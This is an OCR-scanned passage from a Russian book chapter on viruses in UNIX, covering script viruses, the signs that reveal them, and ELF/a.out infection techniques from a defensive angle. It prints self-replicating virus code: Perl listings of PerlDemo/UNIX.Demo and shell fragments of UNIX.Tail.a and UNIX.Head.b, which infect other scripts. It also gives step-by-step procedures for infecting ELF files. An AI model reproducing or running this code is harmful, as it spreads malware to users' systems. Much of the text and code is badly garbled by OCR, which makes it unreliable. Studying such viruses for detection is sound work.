программ ного кода. Ряд вирусов распространяется через прикрепленные к письму Фа11 лы (в курилках именуемые аттачами от английского attachment — «вложение»/ в надежде, что доверчивый пользователь запустит их. К счастью, UNIX-пользО" ватели в своей массе не настолько глупы, чтобы польститься на столь очеиЧ-1 ную заразу. Откровенно говоря, причина низкой активности вирусов кроется отнюдь не н щищенности UNIX, но в принятой схеме распространения программного о>’1 печения. Обмена исполняемыми файлами между пользователи UNIX ираь111 чески не происходит. Вместо этого они предпочитают скачивать требуюШ1'1'1 им программы с оригинального источника, зачастую в исходных текс!
------—------------------------------------------- Несмотря на имеющиеся прецеденты взлома web/ftp серверов и троянизации их содержимого’ ни одной мало-мальски внушительной эпидемии еще не слу- чилось, хотя локальные очаги «возгорания» все-таки были. Агрессивная политика продвижения LINUX вероломно проталкивает эту ось на рынок домашних и офисных ПК — то есть в те сферы, где UNIX не только не сильна, ио в попросту не нужна. Оказавшись в кругу неквалифицированных пользователей, UNIX автоматически теряет звание свободной от вирусов сис- темы, и опустошительные эпидемии не заставят себя ждать. Встретим ли мы их во всеоружии или в очередной раз дадим маху, вот в чем вопрос... ВИРУСЫ В СКРИПТАХ Как уже отмечалось выше, скрипты выглядят достаточно привлекательной сре- дой для обитания вирусов и вот почему: • в мире UNIX скрипты вездесущи; • модификация большинства скриптовых файлов разрешена; • скрипты зачастую состоят из сотен строк кода, в которых очень легко зате- ряться; • скрипты наиболее абстрагированы от особенностей реализации конкретной версии UNIX; • возможности скриптов сопоставимы с языками высокого уровня (Си, Бей- сик, Паскаль); • скриптами пользователи обмениваются более интенсивно, чем исполняемы- ми файлами. Большинство администраторов крайне пренебрежительно относятся к скрип- товым вирусам, считая их «ненастоящими». Между тем системе, по большому счету, все равно, каким именно вирусом быть атакованной — настоящим или нет. При кажущейся игрушечности скрипт-вирусы представляют собой доста- точно серьезную угрозу. Ареал их обитания практически безграничен — они успешно поражают компьютеры с процессорами как Intel Pentium, так и DEC Alpha/SUN SPARC. Они внедряются в любое возможное место (конец/нача- ло/середину) заражаемого файла. При желании они могут оставаться резиден- тно в памяти, поражая файлы в фоновом режиме. Ряд скрипт-вирусов исполь- зуют те или иные Stealth-технологии, скрывая факт своего присутствия в системе. Гений инженерной мысли вирусописателей уже освоил полимор- физм, уравняв тем самым скрипт-вирусы в правах с вирусами, поражающими Двоичные файлы. Каждый скрпит, полученный извне, перед установкой в систему должен быть тщательным образом проанализирован на предмет присутствия заразы. Си- туация усугубляется тем, что скрипты, в отличие от двоичных файлов, пред- ставляют собой plain-текст, начисто лишенный внутренней структуры, а по- тому при его заражении никаких характерных изменений не происходит.
54 Глава 2. Вирусы в UNIX, или Гибель ТитаццКа Единственное, что вирус не может подделать — это стиль оформления лис^и га. Почерк каждого программиста строго индивидуален. Одни используют буляцию, другие предпочитают выравнивать строки посредством пробел Одни разворачивают конструкции if — else на весь экран. Другие умещают в одну строку. Одни дают всем переменным осмысленные имена, Другие ис пользуют одно-, двухсимвольную абракадабру в стиле «А», «X», «FN» и т Даже беглый просмотр зараженного файла позволяет обнаружить ннородщ. вставки (конечно, при том условии, что вирус не переформатирует поражу мый объект) (листинг 2.1). Листинг 2.1. Пример вируса, обнаруживающего себя по стилю #!/usr/bin/perl #PerlDemo open(Fl 1е.$0): @Vlrus=<File>: @Virus=@Virus[0. .6]: close(File); foreach SrileNatne (<*>) { if ((-r SFileNatne) && (-w $ciieName) && (-f IFileName)) { open(F11e. "JFileNane"): @femp=<File>: close(FHe): if ((©Fernptl] =- "PeriDemo") or (@Temp[2J =~ “PerlDemo")) { if ((@Tero[0J =- ''perl") or (@Temp[l] =~ "perl")) { opentFile. ">SF1ieNarie"); print FPe @V1rGS; print File pfenip: close (File); } 1 } } Грамотно спроектированный вирус должен поражать файлы только «своего» типа, в противном случае он быстро приведет систему к краху, демаскируя себя и парализуя дальнейшее распространение. Поскольку в мире UNIX файлам не принято давать расширения, задача поиска подходящих жертв существенно осложняется, и вирусу приходится явно перебирать все файлы один за одним определяя их тип «вручную». Существует по меныпсй мере две методики такого определения: отождествле- ние командного интерпретатора и эвристический анализ. Начнем с первого из них. Если в начале файла стоит магическая последовательность то оста- ток строки содержит путь к программе, обрабатывающей данный скрипт. Д-1Я интерпретатора Борна эта строка обычно имеет вид ”#!/bin/sh", а для Perla- "#! /usr/bin/perl". Таким образом, задача определения тина файла в общем с.ъ чае сводится к чтению его первой строки и сравнению ее с одним или несколь кими эталонами. Если только вирус не использовал хеш-сравнение, эталонна1 строки будут явно присутствовать в зараженном файле, легко обнаруживая со’8 тривиальным контекстным поиском (листинги 2.2, 2.3). Девять из десяти скрипт-вирусов ловятся на этот незамысловатый При1 остальные же тщательно скрывают эталонные строки от посторонних глаз 0^ пример, шифруют их или же используют посимвольное сравнение). ^лИ‘ в любом случае перед сравнением строки с эталоном вирус должен ее счит< В командных файлах для этой пели обычно используются команды greep • head. Конечно, их наличие в файле еще не свидетельствует о зараженности следнего, однако позволяет локализовать жизненно важные центры вируса- ветственные за определения типа файла-жертвы, что значительно ускоряет лиз. В Perl-скриптах чтение файла чаще всего осуществляется через опер*1 "< >", реже используются функции read/read! ine/getc. Тот факт, что пра^т1
55 ВирусыЗ"^^ ни одна .мало-мальски серьезная Perl-программа ле обходится без файло- tKl1 ввода/вЬ1ВоДа’ чРезвычай«° затрудняет выявление вирусного кода, осо- Bl)I ес.п1 чтение файла происходит в одной ветке программы, а определение 1сХ"т1Ч>а-совсемвдруГО,г Эвристические алгоритмы поиска жертвы состоят в выделении уникальных воследовательностей, присущих файлам данного типа и не встречающихся ни каких других. Так, наличие конструкции "if [” с вероятностью, близкой к еди- нице, указывает на командный скрипт. Некоторые вирусы отождествляют ко- мандные файлы по строке Bourne, которая присутствует в некоторых, хотя и да- леко не во всех скриптах. Естественно, никаких универсальных приемов распознавания эвристических алгоритмов не существует (на то они и эвристи- ческие алгоритмы). Во избежание многократного инфицирования файла-носителя вирусы долж- на! уметь распознавать факт своего присутствия в нем. Наиболее очевидный (н популярный!) алгоритм сводится к внедрению специальной ключевой мет- ки (вроде «это я Вася»), представляющей собой уникальную последователь- ность команд, так сказать, сигнатуру вируса или же просто замысловатый ком- ментарий. Строго говоря, гарантированная уникальность вирусам совершенно не нужна. Достаточно, чтобы ключевая метка отсутствовала более чем в поло- вине пеинфицированных файлов. Поиск ключевой метки может осуществляться как командами find/greep, так и построчным чтением из файла с последующим сличением добытых строк с эталоном. Скрипты командных интерпретаторов используют для этой цели команды head и tail, применяемые совместно с опе- ратором 'ну а Perl-вирусы все больше тяготеют к регулярным выражениям, что существенно затрудняет их выявление, так как без регулярных выражений не обходится практически ни одна Perl-программа. Другой возможной зацепкой является переменная "$0", используемая вируса- ми для определения собственного имени. Не секрет, что интерпретируемые язы- ки программирования не имеют никакого представления о том, каким именно ооразом скрипты размещаются в памяти, и при всем желании не могут «дотя- нуться» до них. А раз так, то единственным способом репродуцирования свое- 10 ТСЛа остается чтение исходного файла, имя которого передается в нулевом аргументе командной строки. Это достаточно характерный признак заражения Исследуемого файла, ибо существует очень немного причин, по которым про- Ра.м.ма может интересоваться своим названием и путем. ^Р°Чс‘'*’ сУ,Нествует (по крайней мере, теоретически) и альтернативный спо- Размножения. Он работает по тем же принципам, что и программа, распеча- К'вающая сама себя (в былое время без этой задачки не обходилась ни одна (м,,ИаДа по информатике). Решение сводится к формированию переменной, Раж^3*11™ пРогРамМ1,ЫЙ код вируса, с последующим внедрением оного в за- лел1ыйфайл. В простейшем случае для этого используется конструкция ”«", nv ВОДяЮ1Чая скрыть факт внедрения программного кода в текстовую перемен- и->° (и это выгодно отличает Perl от Си). Построчная генерация кода в стиле rus[0]= "\#\!\/usr\/bin\/perl” встречается реже, так как это слишком
56 Глава 2. Вирусы в UNIX, или Гибель ТитдНи громоздко, непрактично и к тому же наглядно (даже при беглом просмотр стинга выдает вирус с головой). Зашифрованные вирусы распознаются еще проще. Наиболее примитивные земнляры содержат большое количество «шумящих» двоичных последова-ц/' ностей типа ”\x73\xFF\x33\x69\x02\xll...", чьим флагманом является специф^ тор ”\х", за которым следует ASCII-код зашифрованного символа. Бо1ее совершенные вирусы используют те или иные разновидности UUE-Koanp0Ba ния, благодаря чему все зашифрованные строки выглядят вполне читабельно хотя и представляют собой бессмысленную абракадабру вроде "UsKL[aS4iJi:" Учитывая, что среднеминимальная длина Perl-вирусов составляет порячКа 500 байт, затеряться в теле жертвы им легко. Теперь рассмотрим пути внедрения вируса в файл. Файлы командного интер- претатора и программы, написанные на языке Perl, представляют собой неие- рархическую последовательность команд, при необходимости включающую в себя определения функций. Здесь нет ничего хотя бы отдаленно напомина- ющего функцию main языка Си или блок BEGIN/END языка Паскаль. Вирусный код, тупо дописанный в конец файла, с вероятностью 90 % успешно получит управление и будет корректно работать. Оставшиеся 10 % приходятся на слу- чаи преждевременного выхода из программы ио exit или ее принудительного завершения по Ctrl+С. Для копирования своего тела из конца одного файла в ко- нец другого вирусы обычно используют команду tail (листинг 2.2). Листинг 2.2. Фрагмент вируса UNIX.Tail.a, дописывающего себя в конец файла (оригинальные строки файла-жертвы выделены курсивом) #!/bin/sh echo "Hello, World!" for F in * do if ["$(head -c9 $F 2>/dev/null)''="#!/bin/sh" -a "$(tail -1 $F 2>/dev/null)”!=”#:-P"l then tail -8 $0 » $F 2>/dev/null fi done #:-P Другие вирусы внедряются в начало файла, перехватывая все управление себя. Некоторые из них содержат забавную ошибку, приводящую к дублир нию строки "!#/bin/xxx", первая из которых принадлежит вирусу, а втор' самой зараженной программе. Наличие двух магических последователь!! ” !#’ в анализируемом файле красноречиво свидетельствует о его зараЖ*-. однако подавляющее большинство вирусов обрабатывает эту ситуацию в корректно, копируя свое тело не с первой, а со второй строки (листинг £ Листинг 2.3. Фрагмент вируса UNIX.Head.b, внедряющегося в начало файла (оригинальные строки файла-жертвы выделены курсивом) #.'/bin/sb for F in ’
57 (jo ..{(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then lf [ ^iead -H SO ’ tmp cat $F ~ « mv tmp SF fi X -Hello. World!" ie весьма немногочисленные вирусы внедряются в середину файла, еК° а перемешиваясь с его оригинальным содержимым. Естественно, для того, ""обьГпроцесс репродуцирования не прекратился, вирус должен каким-либо Г азом помечать «свои» строки (например, снабжать их комментарием "#MY LINE”) либо же внедряться в фиксированные строки (например, начиная с тринадцатой строки каждая нечетная строка файла содержит тело вируса). Первый алгоритм слишком нагляден, второй — слишком нежизнеспособен (часть вируса может попасть в одну функцию, а часть — совсем в другую), по- этому останавливаться па этих вирусах мы не будем. Таким образом, наиболее вирусоопасными являются начало и конец всякого файла. Их следует изучать с особой тщательностью, не забывая о том, что ви- рус может содержать некоторое количество «отвлекающих» команд, имитиру- ющих ту или иную работу. Встречаются и вирусы-спутники, вообще не «дотрагивающиеся» до оригиналь- ных файлов, но во множестве создающие их «двойников» в остальных катало- гах. Поклонники чистой командной строки, просматривающие содержимое директорий через 1s, могут этого и не заметить, так как команда 1s вполне мо- жет иметь «двойника», предусмотрительно убирающего свое имя из списка ото- оражае.мых файлов. Не стоит забывать и о том, что создателям вирусов не чуждо элементарное чув- ство беспечности, и откровенные наименования процедур и/или переменных встиле «Infected», «Virus», «ZARAZA» — отнюдь не редкость. сТит^Да виРусам (особенно полиморфным и зашифрованным) требуется поме- |1еРедавСТЬ пРогРамм,,ого кода во временный файл, полностью или частично chmod +х СМУ бРазды правления. Тогда в теле скрипта появляется команда Дать чт;Пр,,сваива>°щая файлу атрибут исполняемого. Впрочем, постоит ожи- ких Уси 3 -Т°Р ВиРУса окажется столь ленив и наивен, что не предпримет пика- то вроде chm^d Я$ СОКРЬ1ТИЯ СВОИХ намеРений- Скорее всего, нам встретится что- ^а6лцца 2.1 г водная таблица наиболее характерных признаков наличия вируса ------скраткими комментариями _______Комментарий____________________________________ - VusrX/tnnVperl” Если расположена не в первой строке файла, скрипт скорее всего заражен, особенно если последовательность "#! ” находится внутри оператора if-then или же передается командами дгеер и/или find Продолжение
58 Глава 2. Вирусы в UNIX, или Гибель Титан,,,. Таблица 2.1 {продолжений — Ц—HKaj| Признак Комментарий — Greep find Используются для определения типа файла-жертвьГ^ и поиска отметки о зараженности (дабы ненароком не заразить повторно); к сожалению, достаточным признаком наличия вируса служить не может, ибо часто используется в «честных» программах $0 Характерный признак саморазмножающейся программы (а зачем еще честному скрипту знать свой полный путь?) head Используется для определения типа файла-жертвы и извлечения своего тела из файла-носителя из начала скрипта tail Используется для извлечения своего тела из конца файла-носителя chmod +x Если применяется к динамически создаваемому файлу, с высокой степенью вероятности свидетельствует о наличии вируса (причем ключ +х может быть так или иначе замаскирован) « Если служит для занесения в переменную программного кода, является характерным признаком вируса (и полиморфного в том числе) "\xAA\xBB\xCC...“ "Aj#9KlRzS" Характерный признак зашифрованного вируса vir. virus, virii. infect... Характерный признак вируса, хотя может быть и просто шуткой Листинг 2.4. Ключевой фрагмент Perl-вируса UNIX.Demo 7usr/bi n/perl #PerlDemo open(File.$0): @Virus=<File>; ?Virus=@Virus[C.. .27]: close(File); foreach $FileMamc (<*>) if ((-r SFfleKame) && f-w SFileName) && (-f SFileNane)) { openiFile. "SFileName"): @lenp=<File>: c’iOse(File): if ((@Гето[1] =~ ''PeriDemo") or (@Tempi2] =- "PerlDemo")) { if ((PTemptO] "perl") or (@7emp[]j =~ "perl”)) { opentFile. ">$Fi leNatne"); print File PVirus: print Fi@Temp:
ВирусывскЕ^22^----------—59 Close (File); } I I ) ЭЛЬФЫ в ЗАПОВЕДНОМ ЛЕСУ За всю историю существования UNIX было предложено множество форматов двоичных исполняемых файлов, однако к настоящему моменту в более или менее употребляемом виде сохранились лишь три из них: a.out, COFF и ELF, формат a.out (Assembler and link editor OUTput files) — самый простой и наибо- лее древний из трех перечисленных, появился еще во времена господства PDP-11 и VAX. Он состоит из трех сегментов; .text (сегмента кода), .data (сег- мента инициализированных данных) и .bss (сегмента неинициализированных данных), — двух таблиц перемещаемых элементов (по одной для сегментов кода и данных), таблицы символов, содержащей адреса экспортируемых/импорти- руемых функций, и таблицы строк, содержащей имена последних. К настоя- щему моменту формат a.out считается устаревшим и практически не использу- ется. Краткое, но виол не достаточное для его освоения руководство содержится в man’e Free BSD. Также рекомендуется изучить включаемый файл a.out.h, вхо- дящий в комплект поставки любого UNIX-компилятора. Формат COFF (Common Object File Format') — прямой наследник a.out — пред- ставляет собой существенно усовершенствованную и доработанную версию последнего. В пем появилось множество новых секций, изменился формат за- головка (и в том числе появилось поле длины, позволяющее вирусу вклини- ваться между заголовком и первой секцией файла), все секции получили воз- можность проецироваться по любому адресу виртуальной памяти (для вирусов, внедряющихся в начало и/или середину файла, это актуально) и т. д. Формат COFF широко распространен в мире WindowsNT (PE-файлы пред- ставляют собой слегка модифицированный COFF), но в современных UNIX- системах в качестве исполняемых файлов он практически не используется, отдавая дань предпочтения формату ELF, а вот как объективный -- идет на- расхват. Формат ELF (Executable and Linkable Format, хотя не исключено, что формат сна- чала получил благозвучное название, под которое потом подбиралась соответ- ствующая аббревиатура, — среди UNIX-разработчиков всегда было много тол- киенистов) очень похож на COFF и фактически является его разновидностью, Проектированной для обеспечения совместимости с 32- и 64-разрядными архи- тектурами. В настоящее время — это основной формат исполняемых файлов в си- стемах семейства UNIX. Не то чтобы он всех сильно устраивал (та же Free BSD сопротивлялась нашествию Эльфов, как могла, но в версии 3.0 была вынуждена объявить ELF-форматом, используемый по умолчанию, поскольку последние вер- сии п°пулярпого компилятора GNU С древних форматов уже не поддержива- *°т), но ELF — это общепризнанный стандарт, с которым приходится считаться, х°тим мы того или нет. Поэтому в настоящей главе речь главным образом пойдет
60 Глава 2. Вирусы в UNIX, или Гибель Тит о нем. Для эффективной борьбы с вирусами вы должны изучить ELF-фо,, всех подробностях. Вот два хороших руководства на эту тему: http://wvvw.ibib|j * В° pub/historic-linux/ftp-archives/sunsite. unc.edu/Nov-06-1994/GCC/ELF.doc f00^ («Executable and Linkable Format — Portable Format Specification») www.nai.com/common/media/vil/pdf/mvanvoers_VB_conf%202000.pdf («Linux Vint •₽’^ ELF File Format»). Ses' He секрет, что у операционных систем Windows NT и UNIX много общего и ханизм заражения ELF/COFF/a.out-файлов с высоты птичьего полета ннчт^ , .. чем Не отличается от механизма заражения форматов семейства new-exe. Тем не нее, при всем поверхностном сходстве между ними есть и различия. Существует по меньшей мере три принципиально различных способа зараде ния файлов, распространяемых в формате a.out: 1. «Поглощение» оригинального файла с последующей его записью в tmp и уда- лением после завершения выполнения (или «ручная» загрузка файла-жерт- вы как вариант). 2. Расширение последней секции файла и дозапись своего тела в ее конец. 3. Сжатие части оригинального файла и внедрение своего тела на освободив- шееся место. Переход на файлы форматов ELF или COFF добавляет еще четыре: 1. Расширение кодовой секции файла и внедрение своего тела на освободив- шееся место. 2. Сдвиг кодовой секции вниз с последующей записью своего тела в ее начато. 3. Создание своей собственной секции в начале, середине или конце файла. 4. Внедрение .между файлом и заголовком. Внедрившись в файл, вирус должен перехватить на себя управление, что ооыч но осуществляется следующими путями: • созданием собственного заголовка и собственного сегмента кода/да1,11Ь1Х' перекрывающего уже существующий; • коррекцией точки входа в заголовке файла-жертвы; „а св<н’ • внедрением в исполняемый код файла-жертвы команды перехода тело; • модификацией таблицы импорта (в терминологии a.out — таблицы лов) для подмены функций, что особенно актуально для Stealth-вир. Всем этим махинациям (кроме приема с «поглощением») очень труД110^^аеВ ся незамеченными, и факт заражения в подавляющем большинстве - 1[С- удается определить простым визуальным просмотром дизассемблер'1 Ус- тинга анализируемого файла. Подробнее об этом мы поговорим чутоЧ!. эуг а пока обратим свое внимание на механизмы системных вызовов, ис мые вирусами для поддержания своей жизнедеятельности. „ |£.рс Для нормального функционирования вирусу необходимы no ме"Ы"е* четыре основных функции для работы с. файлами (как то: открытие/3'1
Вирусь-^Й^-------------------------------------------------------- > еиие/запись файла) и опционально функция поиска файлов на диске/в сети. В противном случае вирус просто несможет реализовать свои репродуктивные возможности, и это уже не вирус получится, а Троянский Конь! Существует по меньшей мере три пути для решения этой задачи: 1 Использовать системные функции жертвы (если они у нее, конечно, есть). 2 Дополнить таблицу импорта жертвы всем необходимым. 3 Использовать native-API операционной системы. Ассемблерные вирусы (атаковых среди UNIX-вирусов подавляющее большин- ство) разительно отличаются от откомпилированных программ нетипичным для языков высокого уровня лаконичным, но в то же время излишне прямолиней- ным стилем. Поскольку упаковщики исполняемых файлов в мире UNIX прак- тически не используются, всякая посторонняя «нашлепка» на исполняемый файл с высокой степенью вероятности является троянским компонентом или вирусом. Теперь рассмотрим каждый из вышеперечисленных пунктов во всех подробно- стях. ЗАРАЖЕНИЕ ПОСРЕДСТВОМ ПОГЛОЩЕНИЯ ФАЙЛА Вирусы этого типа пишутся преимущественно начинающими программиста- ми, еще не успевшими освоить азы архитектуры операционной системы, но уже стремящимися кому-то сильно напакостить. Алгоритм заражения в общем виде выглядит так: вирус находит жертву, убеждается, что она еще не заражена и что все необходимые права на модификацию этого файла у него присутствуют. За- тем он считывает жертву в память (временный файл) и записывает себя поверх заражаемого файла. Оригинальный файл дописывается в хвост вируса как овер- лей либо же помещается в сегмент данных (рис. 2.1,2.2).
Рис. 2.2. Пример файла, поглощенного вирусом UNIX.a.out. Крохотный, всего в 300 байт размер кодовой секции указывает на высокую вероятность заражения Получив управление, вирус извлекает из своего тела содержимое орнпгнадь ного файла, записывает его во временный файл, присваивает ему атрибут исчкц. няемого и запускает «излеченный» файл на выполнение, а после завершения удаляет вновь. Поскольку подобные манипуляции редко остаются незамечен- ными, некоторые вирусы отваживаются на «ручную» загрузку жертвы с диска Впрочем, корректный загрузчик elf-файла написать ой как нелегко и еще слож- нее его отладить, поэтому появление таких вирусов представляется достаточно маловероятным (ELFhto вам не простенький a.out!) Характерной чертой подобных вирусов является крошечный сегмент кода, за которым следует огромный сегмент данных (оверлей), представляющий собой самостоятельный исполняемый файл. Попробуйте контекстным поиском най- ти elf/coff/a.out-заголовок — в зараженном файле их будет два! Только не пы- тайтесь дизассемблировать оверлей /сегмент данных, — осмысленного кода все равно не получится, так как, во-первых, для этого требуется знать точное рас- положение точки входа, а во-вторых, расположить хвост дизассемблируемого файла по его «законным» адресам. К тому же оригинальное содержимое файла может быть умышленно зашифровано вирусом, и тогда дизассемблер вернет бессодержательный мусор, в котором будет непросто разобраться. Впрочем, это не сильно затрудняет анализ. Код вируса навряд ли будет очень большим, и на восстановление алгоритма шифрования (если тот действи тельно имеет место) не уйдет много времени. Хуже, если вирус переносит часть оригинального файла в сегмент данных, а часть — в сегмент кода. Такой файл выглядит как обыкновенная программа за тем единственным исключением, что большая часть кодового сегмента прй’ ставляет собой «мертвый код», никогда не получающий управления. Сегмент данных на первый взгляд выглядит как будто бы нормально, однако при bhi мательном рассмотрении обнаруживается, что все перекрестные ссылки (на пример, ссылки на текстовые строки) смешены относительно их «родных» аД ресов. Как нетрудно догадаться — величина смещения и представляет со длину вируса. Дизассемблирование выявляет характерные для вирусов этого чипа ФУ11*^.'” ехес и fork, использующиеся для запуска «вылеченного» файла, функцию спп»0 для присвоения файлу атрибута исполняемого и т. д. ЗАРАЖЕНИЕ ПОСРЕДСТВОМ РАСШИРЕНИЯ ПОСЛЕДНЕЙ СЕКЦИИ ФАЙЛА Простейший способ неразрушающсго заражения файла состоит в расшпреф11* следней секции/сегмента жертвы и дозаписи своего тела в ее конец (рис. 2-3.
63 вирусы в скриптах рис. 2.3. Типовая схема заражения исполняемого файла путем расширения его последней секции г-1») п IDA View-R . data :0884998F stosb .detd:B8B499Ctl retn 2-m7- ИЙ®)LIME. END: .data.08049986 .data:0»99CB .d,ita:088499DB .data: 08849905 Л11а:е884990? data:08B499OC data:088499DC ger_ll: data:088499DC dala:080499DD dat<i:08B499E2 da to:0884998? data:B8B499EC dflta:088499FF data:B8B499EF data: 08049914 data:880499F9 dete:08OW9FE date:B8B49A03 data: 0884 9A09 data :B8B49ASE data:08849R0F date:B8B49A14 data 08Й49А19 data:08B49AlF data.08849A25 dala:08B49f)2B jLjte: 08B49A2D Ч80499С1- : Alternative паве is ’main’ mov eax, 4 mov ebx, 1 mov ecx, offset gen msg mov edx. 2Dh int 80h ; I INUX - sys„write mov ecx. 32h СОВЕ КВЕ.Г. _datd:08049A4Aij push ecx mov eax, 8 mov ebx. (offset host_msg*20h) "mov.....'«'ех-г-ДГОЬ int 80li; LINUX - svs_.creat ~'*pDsh....-ea>T mov eax, 0 mov ebx. offset mxU •••dfv mov ecx, 8049OF2h mov edx, 4Dh mov ebp, e_entry call LIME pop ebx mov eax , 4 z,,.--------- mov ecx, offset^©If_head : ”AELF”~^> add edx, 74h ---- mov mov int mov p_filsz, edx p_memsz, edx 80h eax, 6 ; LINUX - sys„write Рис- 2,4. Внешний вид файла, зараженного вирусом PolyEngine.Linux.LIME.poly; ВиРУс внедряет свое тело в конец секции данных и устанавливает на него точку входа. Наличие исполняемого кода в секции Данных делает присутствие вируса чрезвычайно заметным Дадее по тексту просто «секции», хотя применительно к ELF-файлам это будет Несколько некорректно, так как системный загрузчик исполняемых ELF-фай- л°в работает исключительно с сегментами, а секции игнорирует. Строго говоря, это утверждение не совсем верно. I Последней секцией файла, Как правило, является секция .bss, предназначенная для хранения неинициа-
64 1. 2. 3. 4. 1. 2. 3. 4. 5. Глава 2. Вирусы в UNIX, или Гибель т» ---------------------------------------------------------- ---------------------------------------------------------—— лизированных данных. Внедряться сюда можно, но бессмысленно, гк)С1(0 загрузчик не настолько глуп, чтобы тратить драгоценное процессорное на загрузку неинициализированных данных с медленного диска. Прави8^*”1 было бы сказать «последней значимой секции», но давайте не будем пп раться, это ведь не научная статья, верно?----------------Л1' Перед секций .bss обычно располагается секция .data, содержащая инициал зированные данные. Вот она-то и становится основным объектом вирусной • И ки! Натравив дизассемблер на исследуемый файл, посмотрите — в какой ции расположена точка входа. И если этой секцией окажется секция дащщх исследуемый файл с высокой степенью вероятности заражен вирусом. При внедрении в a.out-файл вирус в общем случае должен проделать следующие действия: Считав заголовок файла, убедиться, что это действительно а.ои1-файл. Увеличить поле adata на величину, равную размеру своего тела. Скопировать себя в конец файла. Скорректировать содержимое поля a entry для перехвата управления (если вирус действительно перехватывает управление таким образом). Внедрение в ELF-файлы происходит несколько более сложным образом: Вирус открывает файл и, считывая его заголовок, убеждается, что это дей- ствительно ELF-файл. Просматривая Program Header Table, вирус отыскивает сегмент, наиболее под- ходящий для заражения (для заражения подходит любой сегмент с атрибу- том PL LOAD; собственно говоря, остальные сегменты более или менее подхо- дят тоже, но вирусный код в них будет смотреться несколько странно). Найденный сегмент «распахивается » до конца файла и увеличивается на ве- личину, равную размеру тела вируса, что осуществляется путем синхр°н ной коррекции полей p filez и p memz. Вирус дописывает себя в конец заражаемого файла. Для перехвата управления вирус корректирует точку входа в файл (е-е^т0. либо же внедряет в истинную точку входа jmp на свое тело (впрочем, дика перехвата управления — тема отдельного большого разговора)- Маленькое техническое отступление. Секция данных, как правило, имеет , лишь два атрибута: атрибут чтения (read) и атрибут записи (write). цТ() исполнения (execute) у нее по умолчанию отсутствует. Означает ли • выполнение вирусного кода в пей окажется невозможным? Вопрос не т1рр- однозначного ответа. Все зависит от особенностей реализации конкреП _уюТ цессора и конкретной операционной системы. Некоторые из них игн отсутствие атрибута исполнения, полагая, что право исполнения мую вытекает из права чтения. Другие же возбуждают исключение, а 8ц- завершая выполнение зараженной программы. Для обхода этой ситу» русы могут присваивать секции данных атрибут execute, выдавая тс!^ себя с головой; впрочем, такие экземпляры встречаются крайне редк0.
65 е большинство вирусописателей оставляет секцию данных с атрибута- ^.0УМ(’-'1Ча,П,Ю- ой немал°важиы*’11 неочевидный на первый взгляд момент. Задумайтесь, изменится поведение зараженного файла при внедрении вируса в непо- '‘иедиюю секцию .data, следом за которой расположена .bss? А никак не изме- нится! Несмотря на то что последняя секция будет спроецирована совсем не по •м адреса-м’ программный код об зтом «не узнает» и продолжит обращаться -неинициализированным переменным по их прежним адресам, теперь запя- тим кодом вируса, который к этому моменту уже отработал и возвратил ориги- нальному файлу все бразды правления. При условии, что программный код спроектирован корректно и не закладывается па начальное значение неиници- ализированных переменных, присутствие вируса не нарушит работоспособно- сти программы. Однако в суровых условиях реальной жизни этот элегантный прием зараже- ния перестает работать, поскольку среднестатистическое UNIX-приложение со- держит порядка десяти различных секций всех назначений и мастей. Взгляните, например, на строение утилиты 1s, позаимствованной из следующего днетрнбыотива UNIX: Red Hat 5.0 (листинг 2.5). Листинг 2.5. Так выглядит типичная карта памяти нормального файла кате Start End Align Base Type Class 32 es ss ds fs gs .wit 080СЭА10 08000A18 para 0001 publ CODE Y FFFF FFFF 0006 FF^F FFFF p’t 08000A18 08000CE8 dword 0002 publ CODE Y FFFF FFFF 0006 FF-F FFFF .text 0800DCF0 08004180 para 0003 publ CODE Y FFFF FFFF 0006 FFFF FFFF .firn 08004180 08004188 para 0004 pub’. CODE Y FFFF FFFF 0006 гггг FFFF rodata 08004188 08005250 dword 0005 publ CONST V FFFF FFFF 0006 ГГГГ FFFF data 08006250 08006264 dword 0006 publ DATA Y FFFF FFFF 0006 FFFF FFFF ctors 08006264 0800626C dword 0007 publ DATA Y FFFF FFFF 0006 FF-F FFFF dtors 080C626C 08006274 dword 0008 publ DATA Y FFFF FFFF 0006 FFFF FFFF got k__ 08006274 08006330 dword 0009 publ DATA Y FFFF FFFF 0006 FF-F FFFF OSS 080063B8 08006574 qword OOOA publ BSS Y FFFF FFFF 0006 FF-F FFFF extern 08006574 08006624 byte COOB publ N FFFF FFFF FFFF FFFF FFFF □US 0800666C 08006684 byte oooc publ N FFFF FFFF FFFF FFFF FFFF вцпЦИЯ data Расположена в самой «гуще» файла, и, чтобы до нее добраться, Рек " "РИДется позаботиться о модификации семи остальных секций, скор- ой Р°вав их поля p_offset (смещение секции от начала файла) надлежащим -1ы !0!И Некоторые вирусы этого не делают, в результате чего зараженные фай- ,е запускаются. вместе с HotKo Тем секпия .data рассматриваемого файла насчитывает всего 10h байт, цци д- ' У Львипая часть данных программы размещена в секции . rodata (сек- Менчых ЫХ' достУпной только для чтения). Это — типичная практика совре- так. л,1нкеров, и большинство исполняемых файлов организованы именно ег°сЛип^С Не может Разместить свой код в секции .data, поскольку это делает Ч;,е<>и псК°М заметным, не может он внедриться и в .rodata, так как в этом слу- з сможет себя расшифровать (выделить память на стеке и скопировать w6
66 Глава 2. Вирусы в UNIX, или Гибель Титаника 4 туда свое тело — не предлагать: для современных вирусописателей это слиц^ ком сложно). Да и смысла в этом будет немного. Коль скоро вирусу приходит , ся внедряться не в конец, а в середину файла, уж лучше ему внедриться не в сек- цию данных, а в секцию .text, содержащую машинный код. Там вирус будет це так заметен (но об этом мы поговорим позже, см. далее «Заражение посред. ством расширения кодовой секции файла»), СЖАТИЕ ЧАСТИ ОРИГИНАЛЬНОГО ФАЙЛА Древние считали, что истина в вине. Они явно ошибались. Истина в том, что день ото дня программы становятся все жирнее и жирнее, а вирусы все изощ- реннее и изощреннее. Какой бы уродливый код ни выбрасывала на рынок фир- ма Microsoft, он все же лучше некоторых UNIX-подделок. Например, файл cat, входящий в FreeBSD 4.5, занимает более 64 Кбайт. Не слишком ли много для простен ькой ут ил иты?! Просмотр файла под hex-редактором обнаруживает большое количество регу- лярных последовательностей (в большинстве своем — цепочек нулей), кото- рые либо вообще никак не используются, либо поддаются эффективному сжа- тию. Вирус, соблазнившись наличием свободного места, может скопировать туда свое тело, пускай — ему и придется «рассыпаться» на несколько десятков пя- тен. Если же свободное место отсутствует — не беда! Практически каждый ис- полняемый файл содержит большое количество текстовых строк, а текстовые строки легко поддаются сжатию. На первый взгляд, такой алгоритм заражения кажется чрезвычайно сложным, по, поверьте, реализовать простейший упаков- щик Хаффмана намного проще того шаманства с раздвижками 